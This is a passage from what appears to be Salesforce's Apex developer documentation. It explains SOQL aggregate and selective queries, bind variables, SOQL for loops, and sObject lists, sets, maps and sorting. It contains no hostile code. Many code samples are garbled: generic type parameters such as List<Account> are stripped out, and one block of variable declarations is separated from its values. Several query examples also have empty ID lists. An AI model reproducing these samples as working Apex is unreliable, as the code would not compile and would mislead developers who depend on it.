FROM Opportunity
GROUP BY CampaignId];
for (AggregateResult ar : groupedResults) {
System.debug('Campaign ID' + ar.get('CampaignId'));
System.debug('Average amount' + ar.get('expr0'));
}
Any aggregated field in a SELECT list that does not have an alias automatically gets an implied alias with a format expri, where i
denotes the order of the aggregated fields with no explicit aliases. The value of i starts at 0 and increments for every aggregated field
with no explicit alias. For more information, see ”Using Aliases with GROUP BY” in the Salesforce SOQL and SOSL Reference Guide.
Note: Queries that include aggregate functions are subject to the same governor limits as other SOQL queries for the total number
of records returned. This limit includes any records included in the aggregation, not just the number of rows returned by the query.
If you encounter this limit, you should add a condition to the WHERE clause to reduce the amount of records processed by the
query.
Working with Very Large SOQL Queries
Your SOQL query sometimes returns so many sObjects that the limit on heap size is exceeded and an error occurs. To resolve, use a SOQL
query for loop instead, since it can process multiple batches of records by using internal calls to query and queryMore.
For example, if the results are too large, this syntax causes a runtime exception:
Account[] accts = [SELECT Id FROM Account];
Instead, use a SOQL query for loop as in one of the following examples:
// Use this format if you are not executing DML statements
// within the for loop
148
Working with Data in Apex
Working with Very Large SOQL Queries
for (Account a : [SELECT Id, Name FROM Account
WHERE Name LIKE 'Acme%']) {
// Your code without DML statements here
}
// Use this format for efficiency if you are executing DML statements
// within the for loop
for (List accts : [SELECT Id, Name FROM Account
WHERE Name LIKE 'Acme%']) {
// Your code here
update accts;
}
The following example demonstrates a SOQL query for loop that’s used to mass update records. Suppose that you want to change
the last name of a contact in records for contacts whose first and last names match specified criteria:
public void massUpdate() {
for (List contacts:
[SELECT FirstName, LastName FROM Contact]) {
for(Contact c : contacts) {
if (c.FirstName == 'Barbara' &&
c.LastName == 'Gordon') {
c.LastName = 'Wayne';
}
}
update contacts;
}
}
Instead of using a SOQL query in a for loop, the preferred method of mass updating records is to use batch Apex, which minimizes
the risk of hitting governor limits.
For more information, see SOQL For Loops on page 155.
More Efficient SOQL Queries
For best performance, SOQL queries must be selective, particularly for queries inside triggers. To avoid long execution times, the system
can terminate nonselective SOQL queries. Developers receive an error message when a non-selective query in a trigger executes against
an object that contains more than 200,000 records. To avoid this error, ensure that the query is selective.
Selective SOQL Query Criteria
• A query is selective when one of the query filters is on an indexed field and the query filter reduces the resulting number of rows
below a system-defined threshold. The performance of the SOQL query improves when two or more filters used in the WHERE
clause meet the mentioned conditions.
• The selectivity threshold is 10% of the first million records and less than 5% of the records after the first million records, up to a
maximum of 333,333 records. In some circumstances, for example with a query filter that is an indexed standard field, the
threshold can be higher. Also, the selectivity threshold is subject to change.
Custom Index Considerations for Selective SOQL Queries
• The following fields are indexed by default.
– Primary keys (Id, Name, and OwnerId fields)
– Foreign keys (lookup or master-detail relationship fields)
– Audit dates (CreatedDate and SystemModstamp fields)
149
Working with Data in Apex
Working with Very Large SOQL Queries
– RecordType fields (indexed for all standard objects that feature them)
– Custom fields that are marked as External ID or Unique
• When the Salesforce optimizer recognizes that an index can improve performance for frequently run queries, fields that aren’t
indexed by default are automatically indexed.
• Salesforce Support can add custom indexes on request for customers.
• A custom index can't be created on these types of fields: multi-select picklists, currency fields in a multicurrency organization,
long text fields, some formula fields, and binary fields (fields of type blob, file, or encrypted text.) New data types, typically complex
ones, are periodically added to Salesforce, and fields of these types don’t always allow custom indexing.
• You can’t create custom indexes on formula fields that include invocations of the TEXT function on picklist fields.
• Typically, a custom index isn’t used in these cases.
– The queried values exceed the system-defined threshold.
– The filter operator is a negative operator such as NOT EQUAL TO (or !=), NOT CONTAINS, and NOT STARTS
WITH.
– The CONTAINS operator is used in the filter, and the number of rows to be scanned exceeds 333,333. The CONTAINS
operator requires a full scan of the index. This threshold is subject to change.
– You’re comparing with an empty value (Name != '').
However, there are other complex scenarios in which custom indexes can’t be used. Contact your Salesforce representative if
your scenario isn't covered by these cases or if you need further assistance with non-selective queries.
Examples of Selective SOQL Queries
To better understand whether a query on a large object is selective or not, let's analyze some queries. For these queries, assume that
there are more than 200,000 records for the Account sObject. These records include soft-deleted records, that is, deleted records
that are still in the Recycle Bin.
Query 1:
SELECT Id FROM Account WHERE Id IN ()
The WHERE clause is on an indexed field (Id). If SELECT COUNT() FROM Account WHERE Id IN () returns fewer records than the selectivity threshold, the index on Id is used. This index is typically used when
the list of IDs contains only a few records.
Query 2:
SELECT Id FROM Account WHERE Name != ''
Since Account is a large object even though Name is indexed (primary key), this filter returns most of the records, making the query
non-selective.
Query 3:
SELECT Id FROM Account WHERE Name != '' AND CustomField__c = 'ValueA'
Here we have to see if each filter, when considered individually, is selective. As we saw in the previous example, the first filter isn't
selective. So let's focus on the second one. If the count of records returned by SELECT COUNT() FROM Account WHERE
CustomField__c = 'ValueA' is lower than the selectivity threshold, and CustomField__c is indexed, the query is selective.
150
Working with Data in Apex
Using SOQL Queries That Return One Record
Using SOQL Queries That Return One Record
SOQL queries can be used to assign a single sObject value when the result list contains only one element. When the L-value of an
expression is a single sObject type, Apex automatically assigns the single sObject record in the query result list to the L-value. A runtime
exception results if zero sObjects or more than one sObject is found in the list. For example:
List accts = [SELECT Id FROM Account];
// These lines of code are only valid if one row is returned from
// the query. Notice that the second line dereferences the field from the
// query without assigning it to an intermediary sObject variable.
Account acct = [SELECT Id FROM Account];
String name = [SELECT Name FROM Account].Name;
Improving Performance by Not Searching on Null Values
In your SOQL and SOSL queries, avoid searching records that contain null values. Filter out null values first to improve performance. In
the following example, any records where the treadID value is null are filtered out of the returned values.
Public class TagWS {
/* getThreadTags
*
* a quick method to pull tags not in the existing list
*
*/
public static webservice List
getThreadTags(String threadId, List tags) {
system.debug(LoggingLevel.Debug,tags);
List retVals = new List();
Set tagSet = new Set();
Set origTagSet = new Set();
origTagSet.addAll(tags);
// Note WHERE clause verifies that threadId is not null
for(CSO_CaseThread_Tag__c t :
[SELECT Name FROM CSO_CaseThread_Tag__c
WHERE Thread__c = :threadId AND
threadID != null])
{
tagSet.add(t.Name);
}
for(String x : origTagSet) {
// return a minus version of it so the UI knows to clear it
if(!tagSet.contains(x)) retVals.add('-' + x);
}
for(String x : tagSet) {
// return a plus version so the UI knows it's new
if(!origTagSet.contains(x)) retvals.add('+' + x);
}
151
Working with Data in Apex
Working with Polymorphic Relationships in SOQL Queries
return retVals;
}
Working with Polymorphic Relationships in SOQL Queries
A polymorphic relationship is a relationship between objects where a referenced object can be one of several different types. For example,
the What relationship field of an Event could be an Account, a Campaign, or an Opportunity.
The following describes how to use SOQL queries with polymorphic relationships in Apex. If you want more general information on
polymorphic relationships, see Understanding Polymorphic Keys and Relationships in the Force.com SOQL and SOSL Reference.
You can use SOQL queries that reference polymorphic fields in Apex to get results that depend on the object type referenced by the
polymorphic field. One approach is to filter your results using the Type qualifier. This example queries Events that are related to an
Account or Opportunity via the What field.
List = [SELECT Description FROM Event WHERE What.Type IN ('Account', 'Opportunity')];
Another approach would be to use the TYPEOF clause in the SOQL SELECT statement. This example also queries Events that are
related to an Account or Opportunity via the What field.
List = [SELECT TYPEOF What WHEN Account THEN Phone WHEN Opportunity THEN Amount END
FROM Event];
Note: TYPEOF is currently available as a Developer Preview as part of the SOQL Polymorphism feature. For more information
on enabling TYPEOF for your organization, contact Salesforce.
These queries will return a list of sObjects where the relationship field references the desired object types.
If you need to access the referenced object in a polymorphic relationship, you can use the instanceof keyword to determine the object
type. The following example uses instanceof to determine whether an Account or Opportunity is related to an Event.
Event myEvent = eventFromQuery;
if (myEvent.What instanceof Account) {
// myEvent.What references an Account, so process accordingly
} else if (myEvent.What instanceof Opportunity) {
// myEvent.What references an Opportunity, so process accordingly
}
Note that you must assign the referenced sObject that the query returns to a variable of the appropriate type before you can pass it to
another method. The following example queries for User or Group owners of Merchandise__c custom objects using a SOQL query with
a TYPEOF clause, uses instanceof to determine the owner type, and then assigns the owner objects to User or Group type
variables before passing them to utility methods.
public class PolymorphismExampleClass {
// Utility method for a User
public static void processUser(User theUser) {
System.debug('Processed User');
}
// Utility method for a Group
public static void processGroup(Group theGroup) {
System.debug('Processed Group');
}
public static void processOwnersOfMerchandise() {
152
Working with Data in Apex
Using Apex Variables in SOQL and SOSL Queries
// Select records based on the Owner polymorphic relationship field
List merchandiseList = [SELECT TYPEOF Owner WHEN User THEN LastName
WHEN Group THEN Email END FROM Merchandise__c];
// We now have a list of Merchandise__c records owned by either a User or Group
for (Merchandise__c merch: merchandiseList) {
// We can use instanceof to check the polymorphic relationship type
// Note that we have to assign the polymorphic reference to the appropriate
// sObject type before passing to a method
if (merch.Owner instanceof User) {
User userOwner = merch.Owner;
processUser(userOwner);
} else if (merch.Owner instanceof Group) {
Group groupOwner = merch.Owner;
processGroup(groupOwner);
}
}
}
}
Using Apex Variables in SOQL and SOSL Queries
SOQL and SOSL statements in Apex can reference Apex code variables and expressions if they’re preceded by a colon (:). This use of a
local code variable within a SOQL or SOSL statement is called a bind. The Apex parser first evaluates the local variable in code context
before executing the SOQL or SOSL statement. Bind expressions can be used as:
• The search string in FIND clauses.
• The filter literals in WHERE clauses.
• The value of the IN or NOT IN operator in WHERE clauses, allowing filtering on a dynamic set of values. Note that this is of
particular use with a list of IDs or Strings, though it works with lists of any type.
• The division names in WITH DIVISION clauses.
• The numeric value in LIMIT clauses.
• The numeric value in OFFSET clauses.
Bind expressions can't be used with other clauses, such as INCLUDES.
For example:
Account A = new Account(Name='xxx');
insert A;
Account B;
// A simple bind
B = [SELECT Id FROM Account WHERE Id = :A.Id];
// A bind with arithmetic
B = [SELECT Id FROM Account
WHERE Name = :('x' + 'xx')];
String s = 'XXX';
// A bind with expressions
B = [SELECT Id FROM Account
WHERE Name = :'XXXX'.substring(0,3)];
153
Working with Data in Apex
Using Apex Variables in SOQL and SOSL Queries
// A bind with an expression that is itself a query result
B = [SELECT Id FROM Account
WHERE Name = :[SELECT Name FROM Account
WHERE Id = :A.Id].Name];
Contact C = new Contact(LastName='xxx', AccountId=A.Id);
insert new Contact[]{C, new Contact(LastName='yyy',
accountId=A.id)};
// Binds in both the parent and aggregate queries
B = [SELECT Id, (SELECT Id FROM Contacts
WHERE Id = :C.Id)
FROM Account
WHERE Id = :A.Id];
// One contact returned
Contact D = B.Contacts;
// A limit bind
Integer i = 1;
B = [SELECT Id FROM Account LIMIT :i];
// An OFFSET bind
Integer offsetVal = 10;
List offsetList = [SELECT Id FROM Account OFFSET :offsetVal];
// An IN-bind with an Id list. Note that a list of sObjects
// can also be used--the Ids of the objects are used for
// the bind
Contact[] cc = [SELECT Id FROM Contact LIMIT 2];
Task[] tt = [SELECT Id FROM Task WHERE WhoId IN :cc];
// An IN-bind with a String list
String[] ss = new String[]{'a', 'b'};
Account[] aa = [SELECT Id FROM Account
WHERE AccountNumber IN :ss];
// A SOSL query with binds in all possible clauses
String myString1
String myString2
Integer myInt3 =
String myString4
Integer myInt5 =
= 'aaa';
= 'bbb';
11;
= 'ccc';
22;
List> searchList = [FIND :myString1 IN ALL FIELDS
RETURNING
Account (Id, Name WHERE Name LIKE :myString2
LIMIT :myInt3),
Contact,
Opportunity,
Lead
154
Working with Data in Apex
Querying All Records with a SOQL Statement
WITH DIVISION =:myString4
LIMIT :myInt5];
Note: Apex bind variables aren’t supported for the units parameter in DISTANCE or GEOLOCATION functions. This query
doesn’t work.
String units = 'mi';
List accountList =
[SELECT ID, Name, BillingLatitude, BillingLongitude
FROM Account
WHERE DISTANCE(My_Location_Field__c, GEOLOCATION(10,10), :units) < 10];
Querying All Records with a SOQL Statement
SOQL statements can use the ALL ROWS keywords to query all records in an organization, including deleted records and archived
activities. For example:
System.assertEquals(2, [SELECT COUNT() FROM Contact WHERE AccountId = a.Id ALL ROWS]);
You can use ALL ROWS to query records in your organization's Recycle Bin. You cannot use the ALL ROWS keywords with the FOR
UPDATE keywords.
SOQL For Loops
SOQL for loops iterate over all of the sObject records returned by a SOQL query. The syntax of a SOQL for loop is either:
for (variable : [soql_query]) {
code_block
}
or
for (variable_list : [soql_query]) {
code_block
}
Both variable and variable_list must be of the same type as the sObjects that are returned by the soql_query.
As in standard SOQL queries, the [soql_query] statement can refer to code expressions in their WHERE clauses using the :
syntax. For example:
String s = 'Acme';
for (Account a : [SELECT Id, Name from Account
where Name LIKE :(s+'%')]) {
// Your code
}
The following example combines creating a list from a SOQL query, with the DML update method.
// Create a list of account records from a SOQL query
List accs = [SELECT Id, Name FROM Account WHERE Name = 'Siebel'];
// Loop through the list and update the Name field
155
Working with Data in Apex
SOQL For Loops
for(Account a : accs){
a.Name = 'Oracle';
}
// Update the database
update accs;
SOQL For Loops Versus Standard SOQL Queries
SOQL for loops differ from standard SOQL statements because of the method they use to retrieve sObjects. While the standard queries
discussed in SOQL and SOSL Queries can retrieve either the count of a query or a number of object records, SOQL for loops retrieve
all sObjects, using efficient chunking with calls to the query and queryMore methods of the SOAP API. Developers should always
use a SOQL for loop to process query results that return many records, to avoid the limit on heap size.
Note that queries including an aggregate function don't support queryMore. A run-time exception occurs if you use a query containing
an aggregate function that returns more than 2,000 rows in a for loop.
SOQL For Loop Formats
SOQL for loops can process records one at a time using a single sObject variable, or in batches of 200 sObjects at a time using an
sObject list:
• The single sObject format executes the for loop's once per sObject record. Consequently, it is easy to understand
and use, but is grossly inefficient if you want to use data manipulation language (DML) statements within the for loop body. Each
DML statement ends up processing only one sObject at a time.
• The sObject list format executes the for loop's once per list of 200 sObjects. Consequently, it is a little more
difficult to understand and use, but is the optimal choice if you need to use DML statements within the for loop body. Each DML
statement can bulk process a list of sObjects at a time.
For example, the following code illustrates the difference between the two types of SOQL query for loops:
// Create a savepoint because the data should not be committed to the database
Savepoint sp = Database.setSavepoint();
insert new Account[]{new Account(Name = 'yyy'),
new Account(Name = 'yyy'),
new Account(Name = 'yyy')};
// The single sObject format executes the for loop once per returned record
Integer i = 0;
for (Account tmp : [SELECT Id FROM Account WHERE Name = 'yyy']) {
i++;
}
System.assert(i == 3); // Since there were three accounts named 'yyy' in the
// database, the loop executed three times
// The sObject list format executes the for loop once per returned batch
// of records
i = 0;
Integer j;
for (Account[] tmp : [SELECT Id FROM Account WHERE Name = 'yyy']) {
j = tmp.size();
i++;
156
Working with Data in Apex
}
System.assert(j == 3); //
//
System.assert(i == 1); //
//
//
sObject Collections
The list should have contained the three accounts
named 'yyy'
Since a single batch can hold up to 200 records and,
only three records should have been returned, the
loop should have executed only once
// Revert the database to the original state
Database.rollback(sp);
Note:
• The break and continue keywords can be used in both types of inline query for loop formats. When using the sObject
list format, continue skips to the next list of sObjects.
• DML statements can only process up to 10,000 records at a time, and sObject list for loops process records in batches of
200. Consequently, if you are inserting, updating, or deleting more than one record per returned record in an sObject list for
loop, it is possible to encounter runtime limit errors. See Execution Governors and Limits on page 274.
• You might get a QueryException in a SOQL for loop with the message Aggregate query has too many
rows for direct assignment, use FOR loop. This exception is sometimes thrown when accessing a large
set of child records (200 or more) of a retrieved sObject inside the loop, or when getting the size of such a record set. For
example, the query in the following SOQL for loop retrieves child contacts for a particular account. If this account contains
more than 200 child contacts, the statements in the for loop cause an exception.
for (Account acct : [SELECT Id, Name, (SELECT Id, Name FROM Contacts)
FROM Account WHERE Id IN ('')]) {
List contactList = acct.Contacts; // Causes an error
Integer count = acct.Contacts.size(); // Causes an error
}
To avoid getting this exception, use a for loop to iterate over the child records, as follows.
for (Account acct : [SELECT Id, Name, (SELECT Id, Name FROM Contacts)
FROM Account WHERE Id IN ('')]) {
Integer count=0;
for (Contact c : acct.Contacts) {
count++;
}
}
sObject Collections
Lists of sObjects
Lists can contain sObjects among other types of elements. Lists of sObjects can be used for bulk processing of data.
You can use a list to store sObjects. Lists are useful when working with SOQL queries. SOQL queries return sObject data and this data
can be stored in a list of sObjects. Also, you can use lists to perform bulk operations, such as inserting a list of sObjects with one call.
To declare a list of sObjects, use the List keyword followed by the sObject type within <> characters. For example:
// Create an empty list of Accounts
List myList = new List();
157
Working with Data in Apex
Lists of sObjects
Auto-populating a List from a SOQL Query
You can assign a List variable directly to the results of a SOQL query. The SOQL query returns a new list populated with the records
returned. Make sure the declared List variable contains the same sObject that is being queried. Or you can use the generic sObject data
type.
This example shows how to declare and assign a list of accounts to the return value of a SOQL query. The query returns up to 1,000
returns account records containing the Id and Name fields.
// Create a list of account records from a SOQL query
List accts = [SELECT Id, Name FROM Account LIMIT 1000];
Adding and Retrieving List Elements
As with lists of primitive data types, you can access and set elements of sObject lists using the List methods provided by Apex. For
example:
List myList = new List(); // Define a new list
Account a = new Account(Name='Acme'); // Create the account first
myList.add(a);
// Add the account sObject
Account a2 = myList.get(0);
// Retrieve the element at index 0
Bulk Processing
You can bulk-process a list of sObjects by passing a list to the DML operation. This example shows how you can insert a list of accounts.
// Define the list
List acctList = new List();
// Create account sObjects
Account a1 = new Acount(Name='Account1');
Account a2 = new Acount(Name='Account2');
// Add accounts to the list
acctList.add(a1);
acctList.add(a2);
// Bulk insert the list
insert acctList;
Record ID Generation
Apex automatically generates IDs for each object in a list of sObjects when the list is successfully inserted or upserted into the database
with a data manipulation language (DML) statement. Consequently, a list of sObjects cannot be inserted or upserted if it contains the
same sObject more than once, even if it has a null ID. This situation would imply that two IDs would need to be written to the same
structure in memory, which is illegal.
For example, the insert statement in the following block of code generates a ListException because it tries to insert a list
with two references to the same sObject (a):
try {
// Create a list with two references to the same sObject element
Account a = new Account();
List accs = new List{a, a};
158
Working with Data in Apex
Sorting Lists of sObjects
// Attempt to insert it...
insert accs;
// Will not get here
System.assert(false);
} catch (ListException e) {
// But will get here
}
Using Array Notation for One-Dimensional Lists of sObjects
Alternatively, you can use the array notation (square brackets) to declare and reference lists of sObjects.
For example, this declares a list of accounts using the array notation.
Account[] accts = new Account[1];
This example adds an element to the list using square brackets.
accts[0] = new Account(Name='Acme2');
These are some additional examples of using the array notation with sObject lists.
Example
List accts = new Account[]{};
List accts = new Account[]
{new Account(), null, new
Account()};
List contacts = new List
Description
Defines an Account list with no elements.
Defines an Account list with memory allocated for three Accounts,
including a new Account object in the first position, null in the
second position, and another new Account object in the third
position.
Defines the Contact list with a new list.
(otherList);
Sorting Lists of sObjects
Using the List.sort method, you can sort lists sObjects.
For sObjects, sorting is in ascending order and uses a sequence of comparison steps outlined in the next section. Alternatively, you can
also implement a custom sort order for sObjects by wrapping your sObject in an Apex class and implementing the Comparable
interface, as shown in Custom Sort Order of sObjects.
Default Sort Order of sObjects
The List.sort method sorts sObjects in ascending order and compares sObjects using an ordered sequence of steps that specify
the labels or fields used. The comparison starts with the first step in the sequence and ends when two sObjects are sorted using specified
labels or fields. The following is the comparison sequence used:
1. The label of the sObject type.
159
Working with Data in Apex
Sorting Lists of sObjects
For example, an Account sObject will appear before a Contact.
2. The Name field, if applicable.
For example, if the list contains two accounts named A and B respectively, account A comes before account B.
3. Standard fields, starting with the fields that come first in alphabetical order, except for the Id and Name fields.
For example, if two accounts have the same name, the first standard field used for sorting is AccountNumber.
4. Custom fields, starting with the fields that come first in alphabetical order.
For example, suppose two accounts have the same name and identical standard fields, and there are two custom fields, FieldA and
FieldB, the value of FieldA is used first for sorting.
Not all steps in this sequence are necessarily carried out. For example, if a list contains two sObjects of the same type and with unique
Name values, they’re sorted based on the Name field and sorting stops at step 2. Otherwise, if the names are identical or the sObject
doesn’t have a Name field, sorting proceeds to step 3 to sort by standard fields.
For text fields, the sort algorithm uses the Unicode sort order. Also, empty fields precede non-empty fields in the sort order.
This is an example of sorting a list of Account sObjects. This example shows how the Name field is used to place the Acme account
ahead of the two sForce accounts in the list. Since there are two accounts named sForce, the Industry field is used to sort these remaining
accounts because the Industry field comes before the Site field in alphabetical order.
Account[] acctList = new List();
acctList.add( new Account(
Name='sForce',
Industry='Biotechnology',
Site='Austin'));
acctList.add(new Account(
Name='sForce',
Industry='Agriculture',
Site='New York'));
acctList.add(new Account(
Name='Acme'));
System.debug(acctList);
acctList.sort();
System.assertEquals('Acme', acctList[0].Name);
System.assertEquals('sForce', acctList[1].Name);
System.assertEquals('Agriculture', acctList[1].Industry);
System.assertEquals('sForce', acctList[2].Name);
System.assertEquals('Biotechnology', acctList[2].Industry);
System.debug(acctList);
This example is similar to the previous one, except that it uses the Merchandise__c custom object. This example shows how the Name
field is used to place the Notebooks merchandise ahead of Pens in the list. Since there are two merchandise sObjects with the Name
field value of Pens, the Description field is used to sort these remaining merchandise items because the Description field comes before
the Price and Total_Inventory fields in alphabetical order.
Merchandise__c[] merchList = new List();
merchList.add( new Merchandise__c(
Name='Pens',
Description__c='Red pens',
Price__c=2,
Total_Inventory__c=1000));
160
Working with Data in Apex
Sorting Lists of sObjects
merchList.add( new Merchandise__c(
Name='Notebooks',
Description__c='Cool notebooks',
Price__c=3.50,
Total_Inventory__c=2000));
merchList.add( new Merchandise__c(
Name='Pens',
Description__c='Blue pens',
Price__c=1.75,
Total_Inventory__c=800));
System.debug(merchList);
merchList.sort();
System.assertEquals('Notebooks', merchList[0].Name);
System.assertEquals('Pens', merchList[1].Name);
System.assertEquals('Blue pens', merchList[1].Description__c);
System.assertEquals('Pens', merchList[2].Name);
System.assertEquals('Red pens', merchList[2].Description__c);
System.debug(merchList);
Custom Sort Order of sObjects
To implement a custom sort order for sObjects in lists, create a wrapper class for the sObject and implement the Comparable interface.
The wrapper class contains the sObject in question and implements the compareTo method, in which you specify the sort logic.
This example shows how to create a wrapper class for Opportunity. The implementation of the compareTo method in this class
compares two opportunities based on the Amount field—the class member variable contained in this instance, and the opportunity
object passed into the method.
global class OpportunityWrapper implements Comparable {
public Opportunity oppy;
// Constructor
public OpportunityWrapper(Opportunity op) {
oppy = op;
}
// Compare opportunities based on the opportunity amount.
global Integer compareTo(Object compareTo) {
// Cast argument to OpportunityWrapper
OpportunityWrapper compareToOppy = (OpportunityWrapper)compareTo;
// The return value of 0 indicates that both elements are equal.
Integer returnValue = 0;
if (oppy.Amount > compareToOppy.oppy.Amount) {
// Set return value to a positive value.
returnValue = 1;
} else if (oppy.Amount < compareToOppy.oppy.Amount) {
// Set return value to a negative value.
returnValue = -1;
}
return returnValue;
161
Working with Data in Apex
Expanding sObject and List Expressions
}
}
This example provides a test for the OpportunityWrapper class. It sorts a list of OpportunityWrapper objects and verifies
that the list elements are sorted by the opportunity amount.
@isTest
private class OpportunityWrapperTest {
static testmethod void test1() {
// Add the opportunity wrapper objects to a list.
OpportunityWrapper[] oppyList = new List();
Date closeDate = Date.today().addDays(10);
oppyList.add( new OpportunityWrapper(new Opportunity(
Name='Edge Installation',
CloseDate=closeDate,
StageName='Prospecting',
Amount=50000)));
oppyList.add( new OpportunityWrapper(new Opportunity(
Name='United Oil Installations',
CloseDate=closeDate,
StageName='Needs Analysis',
Amount=100000)));
oppyList.add( new OpportunityWrapper(new Opportunity(
Name='Grand Hotels SLA',
CloseDate=closeDate,
StageName='Prospecting',
Amount=25000)));
// Sort the wrapper objects using the implementation of the
// compareTo method.
oppyList.sort();
// Verify the sort order
System.assertEquals('Grand Hotels SLA', oppyList[0].oppy.Name);
System.assertEquals(25000, oppyList[0].oppy.Amount);
System.assertEquals('Edge Installation', oppyList[1].oppy.Name);
System.assertEquals(50000, oppyList[1].oppy.Amount);
System.assertEquals('United Oil Installations', oppyList[2].oppy.Name);
System.assertEquals(100000, oppyList[2].oppy.Amount);
// Write the sorted list contents to the debug log.
System.debug(oppyList);
}
}
Expanding sObject and List Expressions
As in Java, sObject and list expressions can be expanded with method references and list expressions, respectively, to form new expressions.
In the following example, a new variable containing the length of the new account name is assigned to acctNameLength.
Integer acctNameLength = new Account[]{new Account(Name='Acme')}[0].Name.length();
In the above, new Account[] generates a list.
162
Working with Data in Apex
Sets of Objects
The list is populated with one element by the new statement {new Account(name='Acme')}.
Item 0, the first item in the list, is then accessed by the next part of the string [0].
The name of the sObject in the list is accessed, followed by the method returning the length name.length().
In the following example, a name that has been shifted to lower case is returned. The SOQL statement returns a list of which the first
element (at index 0) is accessed through [0]. Next, the Name field is accessed and converted to lowercase with this expression
.Name.toLowerCase().
String nameChange = [SELECT Name FROM Account][0].Name.toLowerCase();
Sets of Objects
Sets can contain sObjects among other types of elements.
Sets contain unique elements. Uniqueness of sObjects is determined by comparing the objects’ fields. For example, if you try to add two
accounts with the same name to a set, with no other fields set, only one sObject is added to the set.
// Create two accounts, a1 and a2
Account a1 = new account(name='MyAccount');
Account a2 = new account(name='MyAccount');
// Add both accounts to the new set
Set accountSet = new Set{a1, a2};
// Verify that the set only contains one item
System.assertEquals(accountSet.size(), 1);
If you add a description to one of the accounts, it is considered unique and both accounts are added to the set.
// Create two accounts, a1 and a2, and add a description to a2
Account a1 = new account(name='MyAccount');
Account a2 = new account(name='MyAccount', description='My test account');
// Add both accounts to the new set
Set accountSet = new Set{a1, a2};
// Verify that the set contains two items
System.assertEquals(accountSet.size(), 2);
Warning: If set elements are objects, and these objects change after being added to the collection, they won’t be found anymore
when using, for example, the contains or containsAll methods, because of changed field values.
Maps of sObjects
Map keys and values can be of any data type, including sObject types, such as Account.
Maps can hold sObjects both in their keys and values. A map key represents a unique value that maps to a map value. For example, a
common key would be an ID that maps to an account (a specific sObject type). This example shows how to define a map whose keys
are of type ID and whose values are of type Account.
Map m = new Map();
163
Working with Data in Apex
Maps of sObjects
As with primitive types, you can populate map key-value pairs when the map is declared by using curly brace ({}) syntax. Within the
curly braces, specify the key first, then specify the value for that key using =>. This example creates a map of integers to accounts lists
and adds one entry using the account list created earlier.
Account[] accs = new Account[5]; // Account[] is synonymous with List
Map> m4 = new Map>{1 => accs};
Maps allow sObjects in their keys. You should use sObjects in the keys only when the sObject field values won’t change.
Auto-Populating Map Entries from a SOQL Query
When working with SOQL queries, maps can be populated from the results returned by the SOQL query. The map key should be declared
with an ID or String data type, and the map value should be declared as an sObject data type.
This example shows how to populate a new map from a query. In the example, the SOQL query returns a list of accounts with their Id
and Name fields. The new operator uses the returned list of accounts to create a map.
// Populate map from SOQL query
Map m = new Map([SELECT Id, Name FROM Account LIMIT 10]);
// After populating the map, iterate through the map entries
for (ID idKey : m.keyset()) {
Account a = m.get(idKey);
System.debug(a);
}
One common usage of this map type is for in-memory “joins” between two tables.
Using Map Methods
The Map class exposes various methods that you can use to work with map elements, such as adding, removing, or retrieving elements.
This example uses Map methods to add new elements and retrieve existing elements from the map. This example also checks for the
existence of a key and gets the set of all keys. The map in this example has one element with an integer key and an account value.
Account myAcct = new Account();
//Define a new account
Map m = new Map(); // Define a new map
m.put(1, myAcct);
// Insert a new key-value pair in the map
System.assert(!m.containsKey(3)); // Assert that the map contains a key
Account a = m.get(1);
// Retrieve a value, given a particular key
Set s = m.keySet();
// Return a set that contains all of the keys in the
map
sObject Map Considerations
Be cautious when using sObjects as map keys. Key matching for sObjects is based on the comparison of all sObject field values. If one
or more field values change after adding an sObject to the map, attempting to retrieve this sObject from the map returns null. This
is because the modified sObject isn’t found in the map due to different field values. This can occur if you explicitly change a field on the
sObject, or if the sObject fields are implicitly changed by the system; for example, after inserting an sObject, the sObject variable has the
ID field autofilled. Attempting to fetch this Object from a map to which it was added before the insert operation won’t yield the
map entry, as shown in this example.
// Create an account and add it to the map
Account a1 = new Account(Name='A1');
Map m = new Map{
164
Working with Data in Apex
Dynamic Apex
a1 => 1};
// Get a1's value from the map.
// Returns the value of 1.
System.assertEquals(1, m.get(a1));
// Id field is null.
System.assertEquals(null, a1.Id);
// Insert a1.
// This causes the ID field on a1 to be auto-filled
insert a1;
// Id field is now populated.
System.assertNotEquals(null, a1.Id);
// Get a1's value from the map again.
// Returns null because Map.get(sObject) doesn't find
// the entry based on the sObject with an auto-filled ID.
// This is because when a1 was originally added to the map
// before the insert operation, the ID of a1 was null.
System.assertEquals(null, m.get(a1));
Another scenario where sObject fields are autofilled is in triggers, for example, when using before and after insert triggers for an sObject.
If those triggers share a static map defined in a class, and the sObjects in Trigger.New are added to this map in the before trigger,
the sObjects in Trigger.New in the after trigger aren’t found in the map because the two sets of sObjects differ by the fields that
are autofilled. The sObjects in Trigger.New in the after trigger have system fields populated after insertion, namely: ID, CreatedDate,
CreatedById, LastModifiedDate, LastModifiedById, and SystemModStamp.
Dynamic Apex
Dynamic Apex enables developers to create more flexible applications by providing them with the ability to:
• Access sObject and field describe information
Describe information provides metadata information about sObject and field properties. For example, the describe information for
an sObject includes whether that type of sObject supports operations like create or undelete, the sObject's name and label, the
sObject's fields and child objects, and so on. The describe information for a field includes whether the field has a default value,
whether it is a calculated field, the type of the field, and so on.
Note that describe information provides information about objects in an organization, not individual records.
• Access Salesforce app information
You can obtain describe information for standard and custom apps available in the Salesforce user interface. Each app corresponds
to a collection of tabs. Describe information for an app includes the app’s label, namespace, and tabs. Describe information for a tab
includes the sObject associated with the tab, tab icons and colors.
• Write dynamic SOQL queries, dynamic SOSL queries and dynamic DML
Dynamic SOQL and SOSL queries provide the ability to execute SOQL or SOSL as a string at runtime, while dynamic DML provides the
ability to create a record dynamically and then insert it into the database using DML. Using dynamic SOQL, SOSL, and DML, an
application can be tailored precisely to the organization as well as the user's permissions. This can be useful for applications that are
installed from Force.com AppExchange.
165
Working with Data in Apex
Understanding Apex Describe Information
Understanding Apex Describe Information
You can describe sObjects either by using tokens or the describeSObjects Schema method.
Apex provides two data structures and a method for sObject and field describe information:
• Token—a lightweight, serializable reference to an sObject or a field that is validated at compile time. This is used for token describes.
• The describeSObjects method—a method in the Schema class that performs describes on one or more sObject types.
• Describe result—an object of type Schema.DescribeSObjectResult that contains all the describe properties for the
sObject or field. Describe result objects are not serializable, and are validated at runtime. This result object is returned when performing
the describe, using either the sObject token or the describeSObjects method.
Describing sObjects Using Tokens
It is easy to move from a token to its describe result, and vice versa. Both sObject and field tokens have the method getDescribe
which returns the describe result for that token. On the describe result, the getSObjectType and getSObjectField methods
return the tokens for sObject and field, respectively.
Because tokens are lightweight, using them can make your code faster and more efficient. For example, use the token version of an
